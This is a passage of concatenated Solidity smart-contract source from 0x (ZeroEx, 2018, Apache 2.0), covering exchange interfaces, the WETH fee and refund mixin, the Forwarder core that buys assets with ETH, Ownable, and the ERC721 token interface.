License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ contract ISignatureValidator { /// @dev Approves a hash on-chain using any valid signature type. /// After presigning a hash, the preSign signature type will become valid for that hash and signer. /// @param signerAddress Address that should have signed the given hash. /// @param signature Proof that the hash has been signed by signer. function preSign( bytes32 hash, address signerAddress, bytes signature ) external; /// @dev Approves/unnapproves a Validator contract to verify signatures on signer's behalf. /// @param validatorAddress Address of Validator contract. /// @param approval Approval or disapproval of Validator contract. function setSignatureValidatorApproval( address validatorAddress, bool approval ) external; /// @dev Verifies that a signature is valid. /// @param hash Message hash that is signed. /// @param signerAddress Address of signer. /// @param signature Proof of signing. /// @return Validity of order signature. function isValidSignature( bytes32 hash, address signerAddress, bytes memory signature ) public view returns (bool isValid); } /* Copyright 2018 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ contract ITransactions { /// @dev Executes an exchange method call in the context of signer. /// @param salt Arbitrary number to ensure uniqueness of transaction hash. /// @param signerAddress Address of transaction signer. /// @param data AbiV2 encoded calldata. /// @param signature Proof of signer transaction by signer. function executeTransaction( uint256 salt, address signerAddress, bytes data, bytes signature ) external; } /* Copyright 2018 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ contract IAssetProxyDispatcher { /// @dev Registers an asset proxy to its asset proxy id. /// Once an asset proxy is registered, it cannot be unregistered. /// @param assetProxy Address of new asset proxy to register. function registerAssetProxy(address assetProxy) external; /// @dev Gets an asset proxy. /// @param assetProxyId Id of the asset proxy. /// @return The asset proxy registered to assetProxyId. Returns 0x0 if no proxy is registered. function getAssetProxy(bytes4 assetProxyId) external view returns (address); } /* Copyright 2018 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ contract IWrapperFunctions { /// @dev Fills the input order. Reverts if exact takerAssetFillAmount not filled. /// @param order LibOrder.Order struct containing order specifications. /// @param takerAssetFillAmount Desired amount of takerAsset to sell. /// @param signature Proof that order has been created by maker. function fillOrKillOrder( LibOrder.Order memory order, uint256 takerAssetFillAmount, bytes memory signature ) public returns (LibFillResults.FillResults memory fillResults); /// @dev Fills an order with specified parameters and ECDSA signature. /// Returns false if the transaction would otherwise revert. /// @param order LibOrder.Order struct containing order specifications. /// @param takerAssetFillAmount Desired amount of takerAsset to sell. /// @param signature Proof that order has been created by maker. /// @return Amounts filled and fees paid by maker and taker. function fillOrderNoThrow( LibOrder.Order memory order, uint256 takerAssetFillAmount, bytes memory signature ) public returns (LibFillResults.FillResults memory fillResults); /// @dev Synchronously executes multiple calls of fillOrder. /// @param orders Array of order specifications. /// @param takerAssetFillAmounts Array of desired amounts of takerAsset to sell in orders. /// @param signatures Proofs that orders have been created by makers. /// @return Amounts filled and fees paid by makers and taker. function batchFillOrders( LibOrder.Order[] memory orders, uint256[] memory takerAssetFillAmounts, bytes[] memory signatures ) public returns (LibFillResults.FillResults memory totalFillResults); /// @dev Synchronously executes multiple calls of fillOrKill. /// @param orders Array of order specifications. /// @param takerAssetFillAmounts Array of desired amounts of takerAsset to sell in orders. /// @param signatures Proofs that orders have been created by makers. /// @return Amounts filled and fees paid by makers and taker. function batchFillOrKillOrders( LibOrder.Order[] memory orders, uint256[] memory takerAssetFillAmounts, bytes[] memory signatures ) public returns (LibFillResults.FillResults memory totalFillResults); /// @dev Fills an order with specified parameters and ECDSA signature. /// Returns false if the transaction would otherwise revert. /// @param orders Array of order specifications. /// @param takerAssetFillAmounts Array of desired amounts of takerAsset to sell in orders. /// @param signatures Proofs that orders have been created by makers. /// @return Amounts filled and fees paid by makers and taker. function batchFillOrdersNoThrow( LibOrder.Order[] memory orders, uint256[] memory takerAssetFillAmounts, bytes[] memory signatures ) public returns (LibFillResults.FillResults memory totalFillResults); /// @dev Synchronously executes multiple calls of fillOrder until total amount of takerAsset is sold by taker. /// @param orders Array of order specifications. /// @param takerAssetFillAmount Desired amount of takerAsset to sell. /// @param signatures Proofs that orders have been created by makers. /// @return Amounts filled and fees paid by makers and taker. function marketSellOrders( LibOrder.Order[] memory orders, uint256 takerAssetFillAmount, bytes[] memory signatures ) public returns (LibFillResults.FillResults memory totalFillResults); /// @dev Synchronously executes multiple calls of fillOrder until total amount of takerAsset is sold by taker. /// Returns false if the transaction would otherwise revert. /// @param orders Array of order specifications. /// @param takerAssetFillAmount Desired amount of takerAsset to sell. /// @param signatures Proofs that orders have been signed by makers. /// @return Amounts filled and fees paid by makers and taker. function marketSellOrdersNoThrow( LibOrder.Order[] memory orders, uint256 takerAssetFillAmount, bytes[] memory signatures ) public returns (LibFillResults.FillResults memory totalFillResults); /// @dev Synchronously executes multiple calls of fillOrder until total amount of makerAsset is bought by taker. /// @param orders Array of order specifications. /// @param makerAssetFillAmount Desired amount of makerAsset to buy. /// @param signatures Proofs that orders have been signed by makers. /// @return Amounts filled and fees paid by makers and taker. function marketBuyOrders( LibOrder.Order[] memory orders, uint256 makerAssetFillAmount, bytes[] memory signatures ) public returns (LibFillResults.FillResults memory totalFillResults); /// @dev Synchronously executes multiple fill orders in a single transaction until total amount is bought by taker. /// Returns false if the transaction would otherwise revert. /// @param orders Array of order specifications. /// @param makerAssetFillAmount Desired amount of makerAsset to buy. /// @param signatures Proofs that orders have been signed by makers. /// @return Amounts filled and fees paid by makers and taker. function marketBuyOrdersNoThrow( LibOrder.Order[] memory orders, uint256 makerAssetFillAmount, bytes[] memory signatures ) public returns (LibFillResults.FillResults memory totalFillResults); /// @dev Synchronously cancels multiple orders in a single transaction. /// @param orders Array of order specifications. function batchCancelOrders(LibOrder.Order[] memory orders) public; /// @dev Fetches information for all passed in orders /// @param orders Array of order specifications. /// @return Array of OrderInfo instances that correspond to each order. function getOrdersInfo(LibOrder.Order[] memory orders) public view returns (LibOrder.OrderInfo[] memory); } /* Copyright 2018 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ // solhint-disable no-empty-blocks contract IExchange is IExchangeCore, IMatchOrders, ISignatureValidator, ITransactions, IAssetProxyDispatcher, IWrapperFunctions {} /* Copyright 2018 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ /* Copyright 2018 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ contract IEtherToken is IERC20Token { function deposit() public payable; function withdraw(uint256 amount) public; } /* Copyright 2018 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ /* Copyright 2018 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ contract LibConstants { using LibBytes for bytes; bytes4 constant internal ERC20_DATA_ID = bytes4(keccak256("ERC20Token(address)")); bytes4 constant internal ERC721_DATA_ID = bytes4(keccak256("ERC721Token(address,uint256)")); uint256 constant internal MAX_UINT = 2**256 - 1; uint256 constant internal PERCENTAGE_DENOMINATOR = 10**18; uint256 constant internal MAX_FEE_PERCENTAGE = 5 * PERCENTAGE_DENOMINATOR / 100; // 5% uint256 constant internal MAX_WETH_FILL_PERCENTAGE = 95 * PERCENTAGE_DENOMINATOR / 100; // 95% // solhint-disable var-name-mixedcase IExchange internal EXCHANGE; IEtherToken internal ETHER_TOKEN; IERC20Token internal ZRX_TOKEN; bytes internal ZRX_ASSET_DATA; bytes internal WETH_ASSET_DATA; // solhint-enable var-name-mixedcase constructor ( address _exchange, bytes memory _zrxAssetData, bytes memory _wethAssetData ) public { EXCHANGE = IExchange(_exchange); ZRX_ASSET_DATA = _zrxAssetData; WETH_ASSET_DATA = _wethAssetData; address etherToken = _wethAssetData.readAddress(16); address zrxToken = _zrxAssetData.readAddress(16); ETHER_TOKEN = IEtherToken(etherToken); ZRX_TOKEN = IERC20Token(zrxToken); } } /* Copyright 2018 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ contract MWeth { /// @dev Converts message call's ETH value into WETH. function convertEthToWeth() internal; /// @dev Transfers feePercentage of WETH spent on primary orders to feeRecipient. /// Refunds any excess ETH to msg.sender. /// @param wethSoldExcludingFeeOrders Amount of WETH sold when filling primary orders. /// @param wethSoldForZrx Amount of WETH sold when purchasing ZRX required for primary order fees. /// @param feePercentage Percentage of WETH sold that will payed as fee to forwarding contract feeRecipient. /// @param feeRecipient Address that will receive ETH when orders are filled. function transferEthFeeAndRefund( uint256 wethSoldExcludingFeeOrders, uint256 wethSoldForZrx, uint256 feePercentage, address feeRecipient ) internal; } /* Copyright 2018 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ contract MixinWeth is LibMath, LibConstants, MWeth { /// @dev Default payabale function, this allows us to withdraw WETH function () public payable { require( msg.sender == address(ETHER_TOKEN), "DEFAULT_FUNCTION_WETH_CONTRACT_ONLY" ); } /// @dev Converts message call's ETH value into WETH. function convertEthToWeth() internal { require( msg.value > 0, "INVALID_MSG_VALUE" ); ETHER_TOKEN.deposit.value(msg.value)(); } /// @dev Transfers feePercentage of WETH spent on primary orders to feeRecipient. /// Refunds any excess ETH to msg.sender. /// @param wethSoldExcludingFeeOrders Amount of WETH sold when filling primary orders. /// @param wethSoldForZrx Amount of WETH sold when purchasing ZRX required for primary order fees. /// @param feePercentage Percentage of WETH sold that will payed as fee to forwarding contract feeRecipient. /// @param feeRecipient Address that will receive ETH when orders are filled. function transferEthFeeAndRefund( uint256 wethSoldExcludingFeeOrders, uint256 wethSoldForZrx, uint256 feePercentage, address feeRecipient ) internal { // Ensure feePercentage is less than 5%. require( feePercentage <= MAX_FEE_PERCENTAGE, "FEE_PERCENTAGE_TOO_LARGE" ); // Ensure that no extra WETH owned by this contract has been sold. uint256 wethSold = safeAdd(wethSoldExcludingFeeOrders, wethSoldForZrx); require( wethSold <= msg.value, "OVERSOLD_WETH" ); // Calculate amount of WETH that hasn't been sold. uint256 wethRemaining = safeSub(msg.value, wethSold); // Calculate ETH fee to pay to feeRecipient. uint256 ethFee = getPartialAmountFloor( feePercentage, PERCENTAGE_DENOMINATOR, wethSoldExcludingFeeOrders ); // Ensure fee is less than amount of WETH remaining. require( ethFee <= wethRemaining, "INSUFFICIENT_ETH_REMAINING" ); // Do nothing if no WETH remaining if (wethRemaining > 0) { // Convert remaining WETH to ETH ETHER_TOKEN.withdraw(wethRemaining); // Pay ETH to feeRecipient if (ethFee > 0) { feeRecipient.transfer(ethFee); } // Refund remaining ETH to msg.sender. uint256 ethRefund = safeSub(wethRemaining, ethFee); if (ethRefund > 0) { msg.sender.transfer(ethRefund); } } } } /* Copyright 2018 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ contract IAssets { /// @dev Withdraws assets from this contract. The contract requires a ZRX balance in order to /// function optimally, and this function allows the ZRX to be withdrawn by owner. It may also be /// used to withdraw assets that were accidentally sent to this contract. /// @param assetData Byte array encoded for the respective asset proxy. /// @param amount Amount of ERC20 token to withdraw. function withdrawAsset( bytes assetData, uint256 amount ) external; } /* Copyright 2018 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ contract MAssets is IAssets { /// @dev Transfers given amount of asset to sender. /// @param assetData Byte array encoded for the respective asset proxy. /// @param amount Amount of asset to transfer to sender. function transferAssetToSender( bytes memory assetData, uint256 amount ) internal; /// @dev Decodes ERC20 assetData and transfers given amount to sender. /// @param assetData Byte array encoded for the respective asset proxy. /// @param amount Amount of asset to transfer to sender. function transferERC20Token( bytes memory assetData, uint256 amount ) internal; /// @dev Decodes ERC721 assetData and transfers given amount to sender. /// @param assetData Byte array encoded for the respective asset proxy. /// @param amount Amount of asset to transfer to sender. function transferERC721Token( bytes memory assetData, uint256 amount ) internal; } /* Copyright 2018 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ contract MExchangeWrapper { /// @dev Fills the input order. /// Returns false if the transaction would otherwise revert. /// @param order Order struct containing order specifications. /// @param takerAssetFillAmount Desired amount of takerAsset to sell. /// @param signature Proof that order has been created by maker. /// @return Amounts filled and fees paid by maker and taker. function fillOrderNoThrow( LibOrder.Order memory order, uint256 takerAssetFillAmount, bytes memory signature ) internal returns (LibFillResults.FillResults memory fillResults); /// @dev Synchronously executes multiple calls of fillOrder until total amount of WETH has been sold by taker. /// Returns false if the transaction would otherwise revert. /// @param orders Array of order specifications. /// @param wethSellAmount Desired amount of WETH to sell. /// @param signatures Proofs that orders have been signed by makers. /// @return Amounts filled and fees paid by makers and taker. function marketSellWeth( LibOrder.Order[] memory orders, uint256 wethSellAmount, bytes[] memory signatures ) internal returns (LibFillResults.FillResults memory totalFillResults); /// @dev Synchronously executes multiple fill orders in a single transaction until total amount is bought by taker. /// Returns false if the transaction would otherwise revert. /// The asset being sold by taker must always be WETH. /// @param orders Array of order specifications. /// @param makerAssetFillAmount Desired amount of makerAsset to buy. /// @param signatures Proofs that orders have been signed by makers. /// @return Amounts filled and fees paid by makers and taker. function marketBuyExactAmountWithWeth( LibOrder.Order[] memory orders, uint256 makerAssetFillAmount, bytes[] memory signatures ) internal returns (LibFillResults.FillResults memory totalFillResults); /// @dev Buys zrxBuyAmount of ZRX fee tokens, taking into account ZRX fees for each order. This will guarantee /// that at least zrxBuyAmount of ZRX is purchased (sometimes slightly over due to rounding issues). /// It is possible that a request to buy 200 ZRX will require purchasing 202 ZRX /// as 2 ZRX is required to purchase the 200 ZRX fee tokens. This guarantees at least 200 ZRX for future purchases. /// The asset being sold by taker must always be WETH. /// @param orders Array of order specifications containing ZRX as makerAsset and WETH as takerAsset. /// @param zrxBuyAmount Desired amount of ZRX to buy. /// @param signatures Proofs that orders have been created by makers. /// @return totalFillResults Amounts filled and fees paid by maker and taker. function marketBuyExactZrxWithWeth( LibOrder.Order[] memory orders, uint256 zrxBuyAmount, bytes[] memory signatures ) internal returns (LibFillResults.FillResults memory totalFillResults); } /* Copyright 2018 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ contract IForwarderCore { /// @dev Purchases as much of orders' makerAssets as possible by selling up to 95% of transaction's ETH value. /// Any ZRX required to pay fees for primary orders will automatically be purchased by this contract. /// 5% of ETH value is reserved for paying fees to order feeRecipients (in ZRX) and forwarding contract feeRecipient (in ETH). /// Any ETH not spent will be refunded to sender. /// @param orders Array of order specifications used containing desired makerAsset and WETH as takerAsset. /// @param signatures Proofs that orders have been created by makers. /// @param feeOrders Array of order specifications containing ZRX as makerAsset and WETH as takerAsset. Used to purchase ZRX for primary order fees. /// @param feeSignatures Proofs that feeOrders have been created by makers. /// @param feePercentage Percentage of WETH sold that will payed as fee to forwarding contract feeRecipient. /// @param feeRecipient Address that will receive ETH when orders are filled. /// @return Amounts filled and fees paid by maker and taker for both sets of orders. function marketSellOrdersWithEth( LibOrder.Order[] memory orders, bytes[] memory signatures, LibOrder.Order[] memory feeOrders, bytes[] memory feeSignatures, uint256 feePercentage, address feeRecipient ) public payable returns ( LibFillResults.FillResults memory orderFillResults, LibFillResults.FillResults memory feeOrderFillResults ); /// @dev Attempt to purchase makerAssetFillAmount of makerAsset by selling ETH provided with transaction. /// Any ZRX required to pay fees for primary orders will automatically be purchased by this contract. /// Any ETH not spent will be refunded to sender. /// @param orders Array of order specifications used containing desired makerAsset and WETH as takerAsset. /// @param makerAssetFillAmount Desired amount of makerAsset to purchase. /// @param signatures Proofs that orders have been created by makers. /// @param feeOrders Array of order specifications containing ZRX as makerAsset and WETH as takerAsset. Used to purchase ZRX for primary order fees. /// @param feeSignatures Proofs that feeOrders have been created by makers. /// @param feePercentage Percentage of WETH sold that will payed as fee to forwarding contract feeRecipient. /// @param feeRecipient Address that will receive ETH when orders are filled. /// @return Amounts filled and fees paid by maker and taker for both sets of orders. function marketBuyOrdersWithEth( LibOrder.Order[] memory orders, uint256 makerAssetFillAmount, bytes[] memory signatures, LibOrder.Order[] memory feeOrders, bytes[] memory feeSignatures, uint256 feePercentage, address feeRecipient ) public payable returns ( LibFillResults.FillResults memory orderFillResults, LibFillResults.FillResults memory feeOrderFillResults ); } /* Copyright 2018 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ contract MixinForwarderCore is LibFillResults, LibMath, LibConstants, MWeth, MAssets, MExchangeWrapper, IForwarderCore { using LibBytes for bytes; /// @dev Constructor approves ERC20 proxy to transfer ZRX and WETH on this contract's behalf. constructor () public { address proxyAddress = EXCHANGE.getAssetProxy(ERC20_DATA_ID); require( proxyAddress != address(0), "UNREGISTERED_ASSET_PROXY" ); ETHER_TOKEN.approve(proxyAddress, MAX_UINT); ZRX_TOKEN.approve(proxyAddress, MAX_UINT); } /// @dev Purchases as much of orders' makerAssets as possible by selling up to 95% of transaction's ETH value. /// Any ZRX required to pay fees for primary orders will automatically be purchased by this contract. /// 5% of ETH value is reserved for paying fees to order feeRecipients (in ZRX) and forwarding contract feeRecipient (in ETH). /// Any ETH not spent will be refunded to sender. /// @param orders Array of order specifications used containing desired makerAsset and WETH as takerAsset. /// @param signatures Proofs that orders have been created by makers. /// @param feeOrders Array of order specifications containing ZRX as makerAsset and WETH as takerAsset. Used to purchase ZRX for primary order fees. /// @param feeSignatures Proofs that feeOrders have been created by makers. /// @param feePercentage Percentage of WETH sold that will payed as fee to forwarding contract feeRecipient. /// @param feeRecipient Address that will receive ETH when orders are filled. /// @return Amounts filled and fees paid by maker and taker for both sets of orders. function marketSellOrdersWithEth( LibOrder.Order[] memory orders, bytes[] memory signatures, LibOrder.Order[] memory feeOrders, bytes[] memory feeSignatures, uint256 feePercentage, address feeRecipient ) public payable returns ( FillResults memory orderFillResults, FillResults memory feeOrderFillResults ) { // Convert ETH to WETH. convertEthToWeth(); uint256 wethSellAmount; uint256 zrxBuyAmount; uint256 makerAssetAmountPurchased; if (orders[0].makerAssetData.equals(ZRX_ASSET_DATA)) { // Calculate amount of WETH that won't be spent on ETH fees. wethSellAmount = getPartialAmountFloor( PERCENTAGE_DENOMINATOR, safeAdd(PERCENTAGE_DENOMINATOR, feePercentage), msg.value ); // Market sell available WETH. // ZRX fees are paid with this contract's balance. orderFillResults = marketSellWeth( orders, wethSellAmount, signatures ); // The fee amount must be deducted from the amount transfered back to sender. makerAssetAmountPurchased = safeSub(orderFillResults.makerAssetFilledAmount, orderFillResults.takerFeePaid); } else { // 5% of WETH is reserved for filling feeOrders and paying feeRecipient. wethSellAmount = getPartialAmountFloor( MAX_WETH_FILL_PERCENTAGE, PERCENTAGE_DENOMINATOR, msg.value ); // Market sell 95% of WETH. // ZRX fees are payed with this contract's balance. orderFillResults = marketSellWeth( orders, wethSellAmount, signatures ); // Buy back all ZRX spent on fees. zrxBuyAmount = orderFillResults.takerFeePaid; feeOrderFillResults = marketBuyExactZrxWithWeth( feeOrders, zrxBuyAmount, feeSignatures ); makerAssetAmountPurchased = orderFillResults.makerAssetFilledAmount; } // Transfer feePercentage of total ETH spent on primary orders to feeRecipient. // Refund remaining ETH to msg.sender. transferEthFeeAndRefund( orderFillResults.takerAssetFilledAmount, feeOrderFillResults.takerAssetFilledAmount, feePercentage, feeRecipient ); // Transfer purchased assets to msg.sender. transferAssetToSender(orders[0].makerAssetData, makerAssetAmountPurchased); } /// @dev Attempt to purchase makerAssetFillAmount of makerAsset by selling ETH provided with transaction. /// Any ZRX required to pay fees for primary orders will automatically be purchased by this contract. /// Any ETH not spent will be refunded to sender. /// @param orders Array of order specifications used containing desired makerAsset and WETH as takerAsset. /// @param makerAssetFillAmount Desired amount of makerAsset to purchase. /// @param signatures Proofs that orders have been created by makers. /// @param feeOrders Array of order specifications containing ZRX as makerAsset and WETH as takerAsset. Used to purchase ZRX for primary order fees. /// @param feeSignatures Proofs that feeOrders have been created by makers. /// @param feePercentage Percentage of WETH sold that will payed as fee to forwarding contract feeRecipient. /// @param feeRecipient Address that will receive ETH when orders are filled. /// @return Amounts filled and fees paid by maker and taker for both sets of orders. function marketBuyOrdersWithEth( LibOrder.Order[] memory orders, uint256 makerAssetFillAmount, bytes[] memory signatures, LibOrder.Order[] memory feeOrders, bytes[] memory feeSignatures, uint256 feePercentage, address feeRecipient ) public payable returns ( FillResults memory orderFillResults, FillResults memory feeOrderFillResults ) { // Convert ETH to WETH. convertEthToWeth(); uint256 zrxBuyAmount; uint256 makerAssetAmountPurchased; if (orders[0].makerAssetData.equals(ZRX_ASSET_DATA)) { // If the makerAsset is ZRX, it is not necessary to pay fees out of this // contracts's ZRX balance because fees are factored into the price of the order. orderFillResults = marketBuyExactZrxWithWeth( orders, makerAssetFillAmount, signatures ); // The fee amount must be deducted from the amount transfered back to sender. makerAssetAmountPurchased = safeSub(orderFillResults.makerAssetFilledAmount, orderFillResults.takerFeePaid); } else { // Attemp to purchase desired amount of makerAsset. // ZRX fees are payed with this contract's balance. orderFillResults = marketBuyExactAmountWithWeth( orders, makerAssetFillAmount, signatures ); // Buy back all ZRX spent on fees. zrxBuyAmount = orderFillResults.takerFeePaid; feeOrderFillResults = marketBuyExactZrxWithWeth( feeOrders, zrxBuyAmount, feeSignatures ); makerAssetAmountPurchased = orderFillResults.makerAssetFilledAmount; } // Transfer feePercentage of total ETH spent on primary orders to feeRecipient. // Refund remaining ETH to msg.sender. transferEthFeeAndRefund( orderFillResults.takerAssetFilledAmount, feeOrderFillResults.takerAssetFilledAmount, feePercentage, feeRecipient ); // Transfer purchased assets to msg.sender. transferAssetToSender(orders[0].makerAssetData, makerAssetAmountPurchased); } } contract IOwnable { function transferOwnership(address newOwner) public; } contract Ownable is IOwnable { address public owner; constructor () public { owner = msg.sender; } modifier onlyOwner() { require( msg.sender == owner, "ONLY_CONTRACT_OWNER" ); _; } function transferOwnership(address newOwner) public onlyOwner { if (newOwner != address(0)) { owner = newOwner; } } } /* Copyright 2018 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ contract IERC721Token { /// @dev This emits when ownership of any NFT changes by any mechanism. /// This event emits when NFTs are created (`from` == 0) and destroyed /// (`to` == 0). Exception: during contract creation, any number of NFTs /// may be created and assigned without emitting Transfer. At the time of /// any transfer, the approved address for that NFT (if any) is reset to none. event Transfer( address indexed _from, address indexed _to, uint256 indexed _tokenId ); /// @dev This emits when the approved address for an NFT is changed or /// reaffirmed. The zero address indicates there is no approved address. /// When a Transfer event emits, this also indicates that the approved /// address for that NFT (if any) is reset to none. event Approval( address indexed _owner, address indexed _approved, uint256 indexed _tokenId ); /// @dev This emits when an operator is enabled or disabled for an owner. /// The operator can manage all NFTs of the owner. event ApprovalForAll( address indexed _owner, address indexed _operator, bool _approved ); /// @notice Transfers the ownership of an NFT from one address to another address /// @dev Throws unless `msg.sender` is the current owner, an authorized /// perator, or the approved address for this NFT. Throws if `_from` is /// not the current owner. Throws if `_to` is the zero address. Throws if /// `_tokenId` is not a valid NFT. When transfer is complete, this function /// checks if `_to` is a smart contract (code size > 0). If so, it calls /// `onERC721Received` on `_to` and throws if the return value is not /// `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`. /// @param _from The current owner of the NFT /// @param _to The new owner /// @param _tokenId The NFT to transfer /// @param _data Additional data with no specified format, sent in call to `_to` function safeTransferFrom( address _from, address _to, uint256 _tokenId, bytes _data ) external; /// @notice Transfers the ownership of an NFT from one address to another address /// @dev This works identically to the other function with an extra data parameter, /// except this function just sets data to "". /// @param _from The current owner of the NFT /// @param _to The new owner /// @param _tokenId The NFT to transfer function safeTransferFrom( address _from, address _to, uint256 _tokenId ) external; /// @notice Change or reaffirm the approved address for an NFT /// @dev The zero address indicates there is no approved address. /// Throws unless `msg.sender` is the current NFT owner, or an authorized /// operator of the current owner. /// @param _approved The new approved NFT controller /// @param _tokenId The NFT to approve function approve(address _approved, uint256 _tokenId) external; /// @notice Enable or disable approval for a third party ("operator") to manage /// all of `msg.sender`'s assets /// @dev Emits the ApprovalForAll event. The contract MUST allow /// multiple operators per owner. /// @param _operator Address to add to the set of authorized operators /// @param _approved True if the operator is approved, false to revoke approval function setApprovalForAll(address _operator, bool _approved) external; /// @notice Count all NFTs assigned to an owner /// @dev NFTs assigned to the zero address are considered invalid, and this /// function throws for queries about the zero address. /// @param _owner An address for whom to query the balance /// @return The number of NFTs owned by `_owner`, possibly zero function balanceOf(address _owner) external view returns (uint256); /// @notice Transfer ownership of an NFT -- THE CALLER IS RESPONSIBLE /// TO CONFIRM THAT `_to` IS CAPABLE OF RECEIVING NFTS OR ELSE /// THEY MAY BE PERMANENTLY LOST /// @dev Throws unless `msg.sender` is the current owner, an authorized /// operator, or the approved address for this NFT. Throws if `_from` is /// not the current owner. Throws if `_to` is the zero address. Throws if /// `_tokenId` is not a valid NFT. /// @param _from The current owner of the NFT /// @param _to The new owner /// @param _tokenId The NFT to transfer function transferFrom( address _from, address _to, uint256 _tokenId ) public; /// @notice Find the owner of an NFT /// @dev NFTs assigned to zero address are considered invalid, and queries /// about them do throw. /// @param _tokenId The identifier for an NFT /// @return The address of the owner of the NFT function ownerOf(uint256 _tokenId) public view returns 